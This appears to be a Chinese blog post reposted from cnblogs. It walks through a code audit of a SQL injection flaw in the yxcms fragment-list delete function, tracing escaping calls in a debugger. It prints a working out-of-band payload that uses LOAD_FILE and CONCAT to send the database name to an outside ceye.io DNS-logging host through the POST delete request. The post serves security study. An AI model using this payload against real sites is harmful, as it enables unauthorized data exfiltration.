sql注入代码审计

代码审计步骤

确定用户的输入
用户输入的处理
输出的处理和位置

yxcms的sql注入漏洞

漏洞存在于碎片列表删除这个功能



设置好断点


在这里设置断点是因为ajax使用的是get请求

点击删除功能,再一步一步跟进


跳过model和table方法,看到这的delet方法

继续跟进_parseCondition方法

继续跟进parseCondition方法



这里会把数组的值都转换为id=escape($value) AND ...

继续跟进escapte方法

继续跟进_getReadLink方法

发现是进行数据库相关操作

继续跟进后,发现只对数据进行了mysql_real_escape_string操作

抓包看一下


这里有两个删除操作,可能一个是post一个不是post,由del方法猜测
上面一个删除操作是GET方法,下面一个是POST方法

构造Payload
select LOAD_FILE((CONCAT('\',(SELECT DATABASE()),'.xxx.ceye.ioabc')))

成功测试

POST可以实现注入,但GET方法不行
原因:

这里会将id强行转换为整数。
参考:https://www.freebuf.com/column/162886.html

原文地址:https://www.cnblogs.com/lyxsalyd/p/12518489.html